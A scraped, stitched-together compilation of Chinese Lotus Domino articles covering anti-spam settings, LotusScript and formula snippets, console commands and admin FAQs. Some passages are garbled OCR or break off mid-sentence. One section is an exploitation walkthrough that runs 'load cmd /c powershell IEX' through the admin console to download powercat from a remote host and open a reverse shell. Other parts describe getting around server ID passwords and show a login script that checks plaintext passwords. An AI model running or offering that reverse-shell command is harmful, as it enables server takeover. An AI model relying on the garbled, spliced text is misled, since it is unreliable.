Lotus Domino 命令
关于控制垃圾邮件的 Lotus Domino 方法的系列文章的第 1 部分
本文是关于控制垃圾邮件的Lotus Domino 方法的系列文章的第 1 部分。
您将了解如何使用Configuration Settings 文档、服务器邮件规则以及Lotus Domino 6 及其更高版本中的入站SMTP 命令和扩展来控制垃圾邮件。
在技术不断变化的世界中,垃圾邮件数量的增长速度已超出了大多数电子邮件系统可以处理或控制的能力。
在2004 年,所有美国公司差不多要花九十万美元来抗击垃圾邮件。
许多公司都曾致力于开发产品来识别和隔离可能的垃圾消息。
最近的调查表明,所有电子邮件中,有40% 以上被认为是垃圾邮件,平均每个电子邮件用户每天收到 6 条垃圾消息。
这还不算很糟糕,估计到2007 年,垃圾邮件会增长到63%。
在Spam Filter Review Web site中可以找到这些统计数字和更多信息。
从Lotus Domino 4 开始,Lotus 就一直在寻找阻止垃圾邮件和限制Simple Mail Transfer Protocol (SMT P) 消息的方法。
Lotus Domino 4 引入了多个Notes.ini 参数来控制转发、入站连接和发件人的域。
Lotus Domino 5 引入了Graphical User Interface (GUI),Domino 管理员可以在Configuration Settings Docume nt 的字段中列出值。
这使Domino 管理员可以更轻松地配置SMTP,同时减少了Notes 用户的工作。
Lotus Domino 6 进行了很大的改进,开发了将消息与DNS 黑名单(DNSBL)过滤和内容过滤进行集成的技术。
本系列文章将介绍IBM 创建的、用来限制服务器中垃圾邮件的数量的多种解决方案,并预先介绍了Lotus Domino 7 中的垃圾邮件控制。
在本系列文章的第 1 部分中,我们将查看Configuration Serv er 文档中的设置和服务器邮件规则,帮助控制垃圾邮件。
小议Lotus Domino控制台命令在编程中的使用
关 键 词 :ou ; mio L ts D o n ;控 制 台 命 令
中 图分 类 号 : P 1 T 31
文献标识码 : A
文 章 编 号 :0 7 9 4 (0 6 0 -0 2 -0 1 0 — 1 9 2 0 )3 0 6 3
原代 码 如下 :
Op i ton Pub i lc
且 由数 据驱 动 , 与 目前 各 种 数据 库 良好 调 用 , 能 尤其
是 它提 供对 X ML灵 活 多样 的生 成与 解析 。有 i i s与
AS P不能 提供 的报 文 传递 、 内容 检索 索 引 、 目录 服务
以及 工作 流等集成 服务 。 L tsD mio工 作 台是 管 理使 用 的工 作 平 台 , ou o n 通过 在工作 台 中输 入各 种命令 , 我们 能获得 各种系 统 信 息 , 可 以通过 这 个平 台实 现快 速 系统 配置 , 括 也 包 重新启 动和关 闭服 务器 。 XML是用 来 作 为一种 网上
数据 表 现和数 据 交换 的形 象 出现 的它支 持各 种 基本 数据 类 型 , 另外 它除 了X ML模式 规 范 中定 义 的数据 类型 之外 , 能创 建 还
’ 面 G t eS au 下 eUsr tts函数是 获得用 户状 态信 息
’ 义全局 变量 定
Di s s i m e son As Not s s i n e Se so
Di dbNa s As No e Da a a e m me t s t b s Di do s As Not s m c e Doc ume t n Cole to lc i n Di lt s nt g r m S Li tAs I e e 1
LotusDomino使用DECS联系关系型数据库
LotusDomino使用DECS联系关系型数据库
DECS(Domino Enterprise Connect Services)提供了一个从Domino应用与外部数据系统集成接口。
使用DECS,开发人员可以不用编程,就能使外部数据源成为Domino数据信息的一部分。
其设置步骤如下:
1、设置ODBC连接
2、使用Load DECS命令调用DECS任务
3、打开DECS管理数据库
4、单击"Create Connection"创建连接。
5、确定所连接的数据库——ODBC、DB2或Oracle。
6、确定数据源——Data Source,即连接名。
7、确定用户名和口令。
8、确定类型——表或视图。
9、单击"Create Activity"创建"动作"。
10、确定Notes数据库和数据库表间的一一对应关系。
11、确定动作的类型——更新、删除或读取等。
12、单击"Start"启动该动作。
测试平台:Domino r5-r6.5
操作平台:Windows 2003+sp4。
LotusDomino字符串操作
LotusDomino字符串操作Lotus Domino 代理常用字符串操作提示:写新代理时,若在浏览器中运行,需要将代理属性的第二选项卡中作为Web用户运行选中,否则可能会出现因为用户权限导致读取视图中的数据不完整。
以下是部分的字符串操作整理:1.定义字符串(1)定义字符串:dim str as String(2)定义字符串数组:dim strArr(2) as String'数组长度为3strArr(0) = "a"strArr(1) = "b"strArr(2) = "c"2.字符串截取 str = "abcd"(1)取前两个字符:left(str,2) '结果ab(2)取后两个字符:right(str,2)'结果cd(3)取中间两个字符:right(left(str,1),1)'结果bc(4)取bc之前的字符:Strleft(str,"bc")'结果a(5)取bc之后的字符:Strright(str,"bc")'结果d3.字符串长度str = "abcd"len(str)4.字符串转换(1)整形转字符串:number = 1; str = cstr(number)(2)日期转字符串:Format(Cstr(doc.Created),"yyyy-mm-dd")5.字符串替换str = "那些你很冒险的梦"str=Replace(str,"你","我")'结果:那些我很冒险的梦5.字符串累加(1)累计dim str as StringFor i=0 To 1str = str + ||+cstr(i)+||'方法一使用| | 来进行连接,可以任意使用双引号str = str + ""+cstr(i)+""'方法二使用"" 来连接,只能用单引号来设定html标签属性的值(2)过长字符串换行连接dim str as Stringstr="仙后座是一个可与北斗星媲美的星座,其中可以用肉眼看清的星星至少有一百多颗,但特别明亮的只有六七颗。
Lotus Domino 和 Lotus Notes重新配置的方法
Lotus Domino 和 Lotus Notes重新配置的方法
2010-09-11 11:55:35| 分类:Domino |字号订阅
一、Lotus Domino服务器的重新配置方法:
1、停止Lotus Domino服务器。
在服务器控制台上输入Q命令,使服务器停止工作。
2、在Lotus Domino的安装目录中,例如:D:\Lotus\Domino,找到Notes.ini 文件,打开编辑它,保留如下几行,其余全部删掉,然后保存。
[Notes]
Directory=E:\Lotus\Domino\data
KitType=2
InstallType=4
3、进入E:\Lotus\Domino\Data目录下,删除以下文件:
*.nsf
*.box
*.id
*.dsk
和mail目录
4、重新启动Lotus Domino服务器,你会发现和新安装后的一样了。
二、Lotus Notes的重新配置方法:
1、进入Lotus Notes的安装目录,如D:\Lotus\Notes,找到notes.ini文件,打开并编辑,保留如下几行,其余全部删掉,然后保存。
[Notes]
KitType=1
Directory=d:\lotus\notes\data
UserInterface=zh-CN
InstallType=2
2、进入Lotus\Notes\Data目录下,删除以下文件
*.nsf
*.dsk
*.id
3、再次启动Lotus Notes客户端,开始配置向导。
Lotus-Domino-中的高级-SMTP-设置
Lotus Domino 中的高级SMTP 设置(1)了解如何使用Server 文档和Notes.ini 变量控制垃圾邮件。
预先介绍一下Lotus Notes/Domino 7 中的反垃圾邮件控制,并看一下有哪些改进。
本文是关于控制垃圾邮件的Lotus Domino 方法的系列文章的第 2 部分。
在正在进行的控制多余和别人自动发放的电子邮件的战斗中,一些公司花费了数百万、甚至数十亿美元来开发阻止垃圾邮件渗入用户收件箱的技术。
虽然垃圾邮件可能是无法阻止的,但Lotus Notes 和Domino 已经实现了一些帮助组织控制垃圾邮件的措施。
在本系列文章的第 1 部分中,我们讨论了Configuration Settings 文档、服务器邮件规则,以及入站SMTP 命令和扩展。
其中的每一项措施都可以帮助阻止发送到用户的多余的电子邮件。
在本系列文章的最后部分中,我们将查看影响SMTP 和邮件路由器的Server 文档中的设置,以及Domino 服务器Notes.ini 变量。
最后,我们将预先介绍一些Lotus Notes/Domino 7 反垃圾邮件特性,比如白名单、服务器邮件规则增强等等。
本系列文章适用于经验丰富的Domino 管理员。
如果您没有足够丰富的经验,请参阅本系列文章的第1 部分。
Server 文档在前面的文章中,我们介绍了Configuration Settings 文档入站转发控制、DNS 黑名单过滤器和其他SMTP 控制。
但是Configuration Settings 文档不是惟一帮助控制垃圾邮件的文档。
Server 文档的SSL 设置也可以帮助控制垃圾邮件。
通过标准TCP/IP 通道传输的SMTP 会话容易被窃听,因为uuencoded 传输易于截取。
为了保护SMTP 通信,服务器可以使用传输层安全性(TLS)(更常见的是称为SSL 加密)来提供隐私和身份验证。
可以通过Server document Ports - Internet Ports - Mail 选项卡启用SSL,如图1 中所示。
Lotus domino常用公式
一、Lotus Notes 公式函数集(A-Z)Lotus Notes 公式函数集(a-n)A@Abs 返回一个数字的绝对值(无符号值)。
@Abstract 英文缩写,中文无效@Accessed 指出最后一次访问(即读取或编辑)该文档的时间和日期。
@Acos 使用角度的余弦,计算反余弦。
@AddToFolder* 将选定的文档移动到另一个文件夹中@Adjust 调整指定的时间-日期值。
调整的值可正可负。
@All 返回值“True”。
@AllChildren 包含父文档的所有满足选择标准的“答复”文档。
@AllDescendants 包含所有满足选择标准的父文档的答复文档以及答复的答复文档。
@Ascii 将一个LMBCS(Lotus 多字节字符集)字符串转换成一个ASCII字符串。
@Asin 使用角度的正弦,计算反正弦。
@Atan 使用角度的正切,计算反正切。
@Atan2 使用角度的y/x 正切,计算反正切。
@AttachmentLengths 返回表示当前文档中各个附件长度的数字或数字列表。
返回的数字只是近似值;与附件的实际大小可能稍有差距。
@AttachmentNames 返回附加到文档中的文件的操作系统文件名。
如果附加了多个文件,则返回一个多值文本列表。
@Attachments 返回附加到文档中的文件数目。
@Author 返回包含文档姓名的文本列表。
B@Begins 确定一个指定的子串是否保存在另一个字符串的开头。
@BrowserInfo* 返回浏览器类型C@Certificate 确定一个指定的子串是否保存在另一个字符串的开头。
@Char 将IBM Code Page 850 的代码编号转换成对应的字符串。
@CheckAlarms 触发闹铃守护程序检查邮件文件中是否有新的闹铃信息。
@ClientType 返回文本字符串以从Web 客户机中区分Notes 客户机。
@Command 执行一个Notes 命令。
lotusdomino中域的添加、删除、拷贝、修改
法1:Set item=new NotesItem(doc,"name",erName)法2:call doc.AppendItemValue("name",erName)拷贝可以使用NotesItem 中的CopyItemToDocument 方法将当前的域拷贝到另外一个文档中.用NotesDocument 中的CopyAllItems 方法将当前文档中的所有域拷贝到另一个域中.用NotesDocument 中的CopoyItem 方法可以在想同的文档中将一个域拷贝到另一个域中.删除使用NotesItem 类中的Remove 方法或NotesDocument 类中的RemoveItem 方法从文档中删除一个域.法1:While doc.HasItem("name")Set Item=doc.GetfirstItem("name")Call item.RemoveCall doc.Save(True,False)Wend法2:While doc.HasItem("name")Call doc.RemoveItem ("name")Call doc.Save(True,False)Wend法1: Set Item=doc.GetfirstItem("name")ItemValues=item.ValuesForall itemValue In ItemValuesItemValue="刘晓"End Forallitem.Values=itemValuesCall doc.Save (True,False)。
IBM Lotus Domino 8.5 服务器管理入门手册
内容• 1 简介• 2 常用Notes 和Domino 文件• 3 Domino Directory (Names.nsf)• 4 服务器命令• 5 活动• 6 维护•7 NSD•8 结束语•致谢•参考资料•作者简介•建议1 简介本文档旨在通过全面阐述 Notes 和 Domino 的基本功能,协助 Domino 管理员初学者了解本产品。
很多时候,新管理员并没有必要的参考资料或文件来指示他们如何入门。
因此,我们这里的主要目的是尽可能简单地介绍如何履行 Domino 服务器管理员的基本职能。
1.2 产品概述IBM Lotus Domino 是一款服务器产品,可提供企业级电子邮件、协作功能和自定义应用程序平台。
Lotus Domino 最初是 Lotus Notes Server,Lotus Development Corporation 客户端-服务器消息技术的服务器组件。
它可以用作 Lotus Notes 应用程序的应用服务器和/或 Web 服务器。
并且还具有一个 .nsf 格式的内置数据库系统。
(从第七版开始,Domino 服务器便能够采用IBM DB2® 系统作为其后端数据库。
)IBM Lotus Notes 是一款由 IBM Software Group 开发并销售的协作式客户端-服务器应用程序。
IBM 将该软件描述为一个“访问 IBM Lotus Domino 服务器上的商业电子邮件、日历和应用程序的综合性桌面客户端选项”。
IBM Lotus iNotes TM提供了一款基于 Web、功能齐全的 Lotus Notes 客户端版本。
它可提供交互式界面,其中包括与 Web 浏览器内的 Lotus Notes 完全相同的功能(见图 1)。
图 1. Lotus iNotes UI(查看大图)IBM Lotus Domino Administrator是一款客户端-服务器应用程序,可提供图形界面,其主要目的在于管理和控制服务器,进入服务器的控制台,及执行各种基本任务,如重命名用户(见图 2)。
LotusDomino程序常见错误中文解释
1) HTTP Web Server: Item not found exception错误解释:通过HTML操作某个域时(如document.all.input_name.value),这个input_name 必须有对应的域名。
也就是,域名必须有对应的html名字,也就是域属性里的Html标志符。
原解释:<input> element added to the form as Pass-thru HTML with no corresponding Notes field of the same name. All text input elements must have the equivalent Notes field!我:通过填写HTML标记里的标志符,或在“其它”里面加上id=input_name或name=input_name 就行了,不过name=input_name有时生效,有时不生效,没总结过``2)Lotus Notes Exception - Note item not found错误解释:如果你的表单有一个已计算的子表单,并且这个子表单与主表单有同名域时,会有这个报错。
原解释:If your form has a Computed Subform and this Subform contains a field with the same name as one on the main form you will see this error.我:字母意思,应该是没找到Note项,MS偶没看懂原文意思,这种情况下,客户端打开时会提示两个表单有同名域,但并不会报错啊。
3)Lotus Notes Exception - A view of that name cannot be found in the specified database 错误解释:@dblookup/column公式中制定的视图不存在,不可达或拼写错误。
Lotus Domino 7.6 表单和搜索
改变Form标签的Action操作
当Domino显示一个表单的时候,对表单 的缺省操作使用CreateDocument URL 在定制搜索表单时,需避开创建这样的 URL。
方法1:使用你自己的<Form>标签覆盖由 Domino产生的<Form>标签。 方法2:使用$$Return域或者 WebQuerySave代理改变当用户按下Submit 按钮时Domino的反应。
方法1
用内置Html文本,只需要把下面的内置HTML文本包含 在你的$ $ S e a r c h表单的顶部:
这将终止由D o m i n o产生的<Form>模块并开始一个 新的<Form>模块。这个操作的URL包含在当前目录中, 因此如果用户显示$$Search表单使用下面的URL:
使用方法2定制1
创建$$Return 域
SiteSearch模板中的“Web Search Advanced”表单拷贝的我们的数据库 中
DBName:=@Subset(@DbName;-1); "[[/"+DBName+"?SearchSite&Query="+Query+"&SearchOrder="+ @Text(Sort)+"&SearchMax="+@Text(MaxResults)+"&SearchWV= "+@If(ExactMatch="";"TRUE";"FALSE")+"&SearchThesaurus="+ @If(UseThesaurus="";"FALSE";"TRUE")+"]]“ 修改为: "[[/"+DBName+"/InfoListForWebOnTop?SearchView&Query="+ Query+"&SearchOrder="+@Text(Sort)+"&SearchMax="+@Text( MaxResults)+"&SearchWV="+@If(ExactMatch="";"TRUE";"FALSE" )+"&SearchThesaurus="+@If(UseThesaurus="";"FALSE";"TRUE") +"]]"
Lotus Domino学习笔记
Lotus学习笔记一、配置:1.因为安装的是第一台服务器所以选择setup the first server or ……选项;2.服务器名称最好是主机名,因为它以后不容易修改,在此为rp085;还可以为该服务器加标题,标题以后可改,3.组织名将成为Donimo服务器或用户名的一部分所以不应太长,在此为:edu;口令为password;4.Domino域是指共享Domino目录服务的Domino服务器和用户的集合,在此Domino域名为edu,应尽量短;5.服务器管理员信息中last name 必不可少,在此为rjxy;这一步产生一个管理员id 文件,保存在服务器的Domino目录里。
6.选择该服务器提供的Internet服务时,因为现在的应用程序大多是B/S模式的,所以要选HTTP服务;如果还要提供邮件服务,应选择第二项;如果还要提供轻型目录存取服务,要选择第三项;7.使用安装程序检测到的网络端口;8.一直按next,直到setup,安装完成。
三 数据库:一个数据库就是一个单独的容器,用来存储设计元素和文档;Domino数据库是存在于文件系统中的文件,使用记录这种数据结构来存储所有信息;Domino数据库按功能来分可分为存贮工具和检索工具;所有记录相互连接,但不存在层次关系或其他关系。
记录在一个叫域的字段里存储数据,每个域通过名字来鉴别。
Domino采用CS模式,即使用NOTES客户端访问Domino数据库;创建数据库:有三种方法,一是创建一个空白数据库,二是使用预定义的内置模板,三是复制一个现成的数据库。
打开Domino Designer,1.file->Database->new,新建数据库,服务器为local,模板为空;2.文件->数据库->属性,可重新设计数据库标题,了解数据库的基本信息,打印情况,启动情况,是否建立全文索引等;四页面表单:创建页面和表单:页面和表单时Domino应用程序中的主要构成块,都可以用来显示数据,表单还可以用来搜集数据。
Lotus-Domino-Designer-8.5常用代码
用于Lotus Domino Designer 8.5 网络开发常用代码吐血整理先创建热点按钮,再粘这些公式,凡是有command的全是公式,一般在客户机上运行。
1.确定即保存所输入的内容@Command([FileSave])(保存文档)2.取消只要创建,热点按钮,下面的简单操作,然后修改域中的值,再取消3.热点按钮跳转到1.帧结构@Command([OpenFrameset];"标题2")2.视图@Command([OpenView];"小时代评价")3.页面@Command([OpenPage];"进入论坛")4.视图中获取当前日期@created5.向用户发出警告@Prompt([Ok];"恭喜:";"提交成功!快去看看其他网友的贴吧!");前面的分号,是上面的,后面的下面的6.保存文档@Command([FileSave]);7.关闭当前窗口@Command([CloseWindow]);8.新用户注册@If(昵称="";@Do(@Prompt([Ok];"错误";"昵称不能为空");@Return(""));@Success);@If(密码="";@Do(@Prompt([Ok];"错误";"密码不能为空");@Return(""));@Success);@If(确认密码="";@Do(@Prompt([Ok];"错误";"确认密码不能为空");@Return(""));@Success);@If(邮箱="";@Do(@Prompt([Ok];"错误:";"邮箱不能为空");@Return(""));@Success);@If(@Contains(@GetDocField(@Text( @DocumentUniqueID) ;邮箱 );"@");@Success;@Failure("请输入正确的邮件位置")); @If(确认密码=密码;@Do(@Prompt([Ok];"恭喜:";"所有信息输入成功");@Command([FileSave]));@Do(@Prompt([Ok];"错误:";"密码不一致");@Return(""))); @Command([FileSave]);@Command([Compose];"登录")9.登录这一段是客户机上的lotusscript,不是公式了Sub Click(Source As Button)Dim workspace As New NotesUIWorkspaceDim uidb As NotesUIDatabaseSet uidb = workspace.CurrentDatabaseDim session As New NotesSessionDim db As NotesDatabaseDim view As NotesViewDim note As NotesDocumentDim subj As VariantDim keys(0 To 1) As StringSet db=session.CurrentDatabaseSet view = db.GetView("用户列表")Dim user As StringDim pass As Stringuser = Inputbox("请输入用户名")pass = Inputbox("输入密码")Set doc= view.GetFirstDocumentSet doc2= view.GetFirstDocumentIf doc.HasItem("昵称") ThenWhile Not(doc Is Nothing)Set item = doc.GetFirstItem("昵称")Set item2 = doc2.GetFirstItem("密码")msg=item.Text & "您好!登录成功,光影客有您发出的星光啦O(∩_∩)O~ "If (item.Text() = user)And(item2.Text() = pass) ThenMessagebox msgCall workspace.OpenPage("进入论坛")EndEnd IfSet doc = view.GetNextDocument(doc)Set doc2 = view.GetNextDocument(doc2)WendEnd IfEnd Sub注意登录前要把视图上的空格删去其它的就是代码的组合了,把他们组合起来,能做提交,检查是不是空的,保存文档,若有别人的作品,用Designer打开,直接拷贝即可。
Lotus Domino安装、配置和管理
开放的开发平台,支持多种开发语言,跨平台
产品线包括Lotus Notes/Domino,Portal、SameTime,Quicker,
Connections,Maskup,Traveler等
Lotus Domino软件平台有Lotus Administrator(管理端) ,Lotus Notes
Lotus Domino的基本概念-2
Domino验证字 •也叫证书、凭证,组织、组织单元、人员、服务器都必须要有自己的验 证字。 验证者(Certifier) •也叫证明者、证明人。在Domino环境中,组织和组织单元被称为验证 者。 标识符(ID) •保存组织、组织单元、人员、服务器的验证字有关的信息的文件。
Lotus Domino的安装-6
Domino语言包的安装 •选择需要安装的语言包 •选择中文(简体) •完成安装
提纲
Domino简介 Domino服务器安装 Domino服务器配置 Notes客户端安装配置(重点熟悉) Domino基本概念介绍 Domino管理 实验
Lotus Domino的配置-1
•七个等级 •Default缺省和Anonymous匿名
Lotus Domino管理-5
常用的控制台命令 •启动http: load http •停止http: tell http quit •显示http用户:tell http show users •查看当前的服务器属性:show server •查看当前服务器的服务:show task •对数据库进行修复:load fixup database •更新索引:load updall database
Lotus Domino的基本概念-1
Domino的层次结构
Lotus Domino Server R6 控制台命令
命令参数解释BROADCAST "msg" ["user/database"] 向网络中的用户广播消息DBCACHE 数据库缓冲管理命令DISABLE 使数据库缓冲可用FLUSH 清除数据库缓冲SHOW 显示数据库缓冲的内容DROP ["用户名/数据库"] [ALL] 删除一个或多个活动EXIT [口令] 终止服务器HELP 帮助命令 (显示帮助信息)LOAD 应用程序名装入应用程序PLATFORM 工作台状态命令TIME 显示/设置工作台状态的时分率RESET [interval enable/disable] 重置或使时间间隔重置可用/不可用PAUSE 临时中断工作台分时操作RESUME 恢复工作台分时操作PULL 服务器 [数据库] Replicate one-way (pull)PUSH 服务器 [数据库] Replicate one-way (push)QUIT [口令] Quit (终止服务器服务)REPLICATE服务器 [数据库] Replicate two-way request RESTART 重新启动信息SERVER [口令] 重启动服务器PORT 端口名禁止/启用端口事物处理TASK 任务名重启指定的服务器任务ROUTE 服务器名服务器邮件路由SET 设置服务器选项CONFIGURATION "变量=值" [update/noupdate] 配置变量SECURE [当前口令] [新口令] Secure控制台口令STAT [Facility] [Statname] 复位统计SCOS [数据库路径] [Active/Inactive] 激活/不激活 SCOS数据库RULES 重新装入系统邮件规则SHOW 显示服务器信息AGENTS 文件名 [-verbose] 在一个数据库中显示所有的代理ALLPORTS 显示所有端口的配置CLUSTER 群信息CONFIGURATION 变量配置变量DATABASE 文件名显示数据库信息DIRECTORY 文件目录信息XDIR 扩展目录辅助信息DISKSPACE 盘符可用磁盘空间MEMORY 内存信息OPENDATABASES 显示打开的数据库信息PORT 端口名端口详细信息SCHEDULE 下一个进度 [Server/Program/Location] [Appl] SERVER 服务器信息STATISTIC 变量统计变量TASKS [only/user/all] 服务器任务USERS 用户的开放活动SCOS 单一复制对象的存储信息HEARTBEAT Server heartbeatSTART 启动指定的端口PORT 端口名使端口事物处理有效CONSOLELOG 使控制台日志有效STOP 关闭指定的端口PORT 端口名使端口事物处理无效CONSOLELOG 使控制台日志无效TELL 任务名 command-string 向一个任务发送command-string TRACE 服务器名跟踪服务器的连接。
IBM Lotus Domino应用开发课程 --第一章Lotus Domino 6.5使用和开发介绍
第1章Lotus Domino/Notes 6.5 使用和开发介绍1.1 概述 (1)1.2 服务器的安装和配置 (2)1.2.1 服务器的安装 (2)1.2.2 服务器的配置 (8)1.3 客户端的安装和配置 (15)1.4 Designer 6.5开发环境介绍 (22)1.4.1 启动Lotus Domino Designer (22)1.4.2 浏览Lotus Domino Designer开发环境 (24)1.4.3 在Designer中组织应用程序 (26)1.5 Domino应用程序介绍 (29)1.1 概述Lotus Domino/Notes是IBM生产的一种群件。
其系列产品具有下列特点:1)先进的文档数据库和坚固的电子邮件体系、工作流自动化开发、标准的Web应用服务器等技术优势确立了其在群件应用领域的领导地位2)具有跨平台、高可靠性、高伸缩性、高安全性,易于管理,高效复制和移动计算,开发效率高,支持快速实施。
Lotus Domino/notes是实现和运行办公自动化的平台,是工作流自动化和群件标准,支持Intranet,提供邮件系统,是知识管理系统,提供了完备的知识管理框架,是电子政务的首选平台。
Lotus Domino/notes分为Domino服务器和Notes客户机两部分。
Domino服务器包括:Domino邮件服务器,Domino应用服务器和Domino企业服务器。
Domino邮件服务器专门用来提供邮件服务,不能用来提供其它服务。
Domino应用服务器提供应用程序服务器,Domino企业服务器功能最强,我们在下一节的安装中选择企业服务器。
Lotus Domino服务器具有下面的一些功能特性:1)完全支持Internet的标准通信平台2)强劲的、可伸缩型的目录服务3)管理非结构化的文档数据库4)用于信息共享的复制技术5)完成协同工作的工作流,日历,群组日程安排6)行业标准的安全机制7)对浏览器客户机的支持8)对实施访问企业数据的支持9)多平台支持10)可靠,可用,可伸缩的服务结构11)多种开发工具的选择12)简单方便的系统管理Domino服务器启动后,是一个控制台界面,可以在控制台中输入服务器能够接受的命令,如Load 命令可以启动服务器任务。
LotusDomino控制台执行命令getshell
LotusDomino控制台执⾏命令getshell
Lotus Domino简介
应⽤程序使⽤Lotus Domino开发。
Lotus Domino是⼀款基于WEB合作的应⽤程序架构,集电⼦邮件、⽂档数据库、快速应⽤开发技术以及Web技术为⼀体的电⼦邮件与群集平台,运⾏在Linux/Unix和Microsoft Windows操作系统平台下。
可通过webadmin.nsf访问控制台进⾏接⼝管理。
Lotus Domino控制台提供了各种命令⽤于管理服务器。
只要获取管理员权限后,就可以执⾏各种命令,造成命令执⾏。
Lotus Domino指纹信息:
漏洞利⽤
选择"Server"-"Status"-"Quick console",执⾏命令
命令格式:
load cmd /c ping
使⽤powershell 执⾏powercat反弹shell:
执⾏命令,使⽤powershell远程下载执⾏powercat.ps1,反弹shell到本机10.82.108.62的8888端⼝
load cmd /c powershell IEX (New-Object
.Webclient).DownloadString('http://10.82.108.62/powercat.ps1'); powercat -c
10.82.108.62 -p 8888 -e cmd
使⽤nc监听本地的8888端⼝,接收shell会话。
Lotus Domino管理员常见问题解决方法
5. 显示执行结果,点确定。
6.点“文件“,打开admin4.nsf,选Name Move Requests,选中对应文档,点击“操作“中的Complete Move For selected entries操作。
7. 弹出对话框时,不用填写内容,点确定。\
8. 系统会告诉你执行结果,点确定。
单击“选定的死信消息”。
Router 尝试将选定的“死信”消息重新发送到预期的收件人处。如果 Router 仍然无法邮递这些消息,并且无法向发件人邮递表明无法邮递的报告,那么它会再次将这些消息标记为“死信”。
将选定“死信”消息释放到已更新的收件人
为希望重新发送的“死信”消息改正地址。
选择视图中的消息。
6。选择“清除口令”。
(不好意思,中文不好用了一些英文)
忘了一个步Байду номын сангаас:
最后要把server.id抄回服务器上,在启动服务器。
那要看你注册这个服务器时设置的密码强度,如果是0,则可以去掉,否则没办法了;去掉密码的方法有两种:NO:1,安装服务器时在文件--》工具--》用户标识符里面;NO:2,在管理端--》配置--》工具--》标识符属性里面
还有一种就是将DOMINO服务器的名称和服务器的主机名称起一样的名
/
12. 我将自己从管理员中删除了,有难度的挑战!
我告诉你一个简单的办法:
在开始/运行中输入:“d:/lotus/domino/nlnotes.exe”
然后输入你的服务器id 的口令
然后打开要操作的数据库,直接修改acl即可!
2、单击“所有死信消息”。
Router 尝试将所有“死信”消息重新发送到预期的收件人处。如果 Router 仍然无法邮递这些消息,并且无法向发件人邮递表明无法邮递的报告,那么它会再次将这些消息标记为“死信”。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
load design -d oadata 刷新数据库命令sh ta 刷新当前重启整个服务器:RES SER [在后台远程重启服务器]重启HTTP:Tell HTTP Quit [关闭HTTP]-> Load HTTP [启动HTTP]重启HTTP:Tell HTTP Restart [重启HTTP]roadcast message 向该服务器的用户广播消息Broadcast message usernames 向该服务器的某一用户广播消息Dbcache Flush 关闭当前在数据库高速缓存中打开的所有数据库。
使用此命令可以在高速缓存中维护数据库,例如:备份或恢复数据库。
Drop username 关闭一个或多个服务器会话。
如果希望亲眼确认哪些会话已被关闭,则必须在服务器的NOTES.INI 文件中输入Log_Sessions=1 的设置。
Drop "username" 关闭在指定用户名下运行的当前会话Drop " username1 " " username2 " 关闭在用户username1和username2下运行的会话Drop All 关闭所有服务器会话Exit 关闭服务器,注:不能用远程控制台重起服务器Hangup portname 挂断指定端口Help 显示服务器命令列表,并附有每个命令的简短描述、参数(如果有的话)和正确的语法。
Load 启动服务器外接程序Load Fixup 加载并运行Fixup 服务器任务Load Object Info OBJECT.NSF 加载并运行共享邮件管理者,并传递执行Info 任所需的参数Load pop3Load routerLoad smtpLoad Design 加载设计变更生效Load http 加载web服务Load decs 加载外部数据连接服务Load calconn 加载日历管理器Load event 加载事件管理器Load sched 加载日程安排管理器Load stats 加载统计信息收集管理器Load maps 加载路由表(路由拓扑结构)管理器Load Router 加载邮件路由管理器Load Replica 加载复制管理器Load Update 加载更新管理器Load Amgr 加载代理管理器Load AdminP 加载管理进程Pull servername 强制与指定服务器进行单向仅拉入复制。
Pull servername databasename 强制从指定服务器单向仅拉入复制指定的数据库文件。
Push servername 强制与指定服务器进行单向仅推出复制。
Push servername databasename 强制将指定的数据库文件单向仅推出复制到指定服务器。
Replicate 初始化与指定服务器之间的双向复制强制在两个服务器之间进行复制。
发起复制的服务器(也就是当前正在使用的服务器)首先将其他服务器上的更改拉入进来,然后让将它的更改推出到其他服务器。
使用该命令可以快速传递数据库的更新,或者解决复制或通讯疑难问题。
Replicate servername在本地服务器和指定服务器之间发起复制。
服务器控制台显示指明复制进行的起始时间的信息。
Replicate servername databasename 在本地服务器和指定服务器之间发起,指定数据库文件的复制。
Restart server 禁用当前服务器,然后在短暂延迟后重新启动服务器。
Restart Port portname 禁用指定端口上的事务(或消息)然后在短暂延迟后重新启动端口。
此命令使您不用停止Domino 服务器就可以停止并启动端口。
Route servername 使用特定服务器发起邮件路由。
初始化与指定服务器的待发邮件的未安排邮件传送。
Set Configuration setting 在NOTES.INI 文件中增加或更改设置。
Set Secure currentpassword 口令保护Domino服务器控制台如果不输入口令,则无法使用Load、Tell、Exit、Quit 和Set Configuration 服务器命令,也无法使用那些不是通过“Domino 目录”中的“程序”文档或NOTES.INI 文件来自动运行的程序。
除非使用相同口令再次输入Set Secure 命令来清除口令,否则控制台的安全性将保持有效。
Set Secure abracadabra 若当前没有有效口令,请设置口令保护控制台。
在本例中新口令为“abracadabra”。
如果控制台已经受口令(这里为“abracadabra”)保护,请再次输入带有此口令的Set Secure 命令,来清除该口令。
Set Secure abracadabra sesame 将现有口令“abracadabra”更改为“sesame”。
Set Statistics statisticname 重设累计的统计信息。
Statisticname 是命名待重设的统计信息所需参数。
此参数不能使用通配符(*)。
Show Cluster 本地服务器的群集名称缓存区,它包括一个所有群集成员及其状态的列表Show Config 显示Notes.ini文件中参数设置的值Show Database 显示指定数据库的文档和视图信息Show Directory 在Notes目录中显示每个数据库的信息Show Disk 显示全部服务器驱动器的磁盘释放统计信息Show Memory 显示此数据库的内存统计信息Show Performance 触发性能统计信息的一分钟显示Show Allports 显示服务器上的所有启用或禁用端口的配置。
Show Port 显示指定端口的信息Show Schedule 显示安排但未执行的命令Show Server 仅显示核心服务器状态信息Show Tasks 显示运行在服务器上的所有任务的状态信息Show UserS 显示所有活动会话的使用信息Stop Port Portname 禁用端口禁用指定端口的事务(或消息)。
此命令允许更改端口,而且不用停止Domino server 就可以立即生效。
Stop Port TCP 禁用名为TCP 的端口。
Start Port portname 启用指定端口的事务(或消息)。
Start Port TCP 启用名为TCP 的端口Tell serverprogram 将命令串发送给任务。
Tell Router Quit 只关闭Router 任务。
服务器上其他所有任务继续运行。
Tell Adminp Process All 处理所有新的和更改过的立即、时间间隔、每天和延迟的请求。
该命令并不重设计时请求的执行时间。
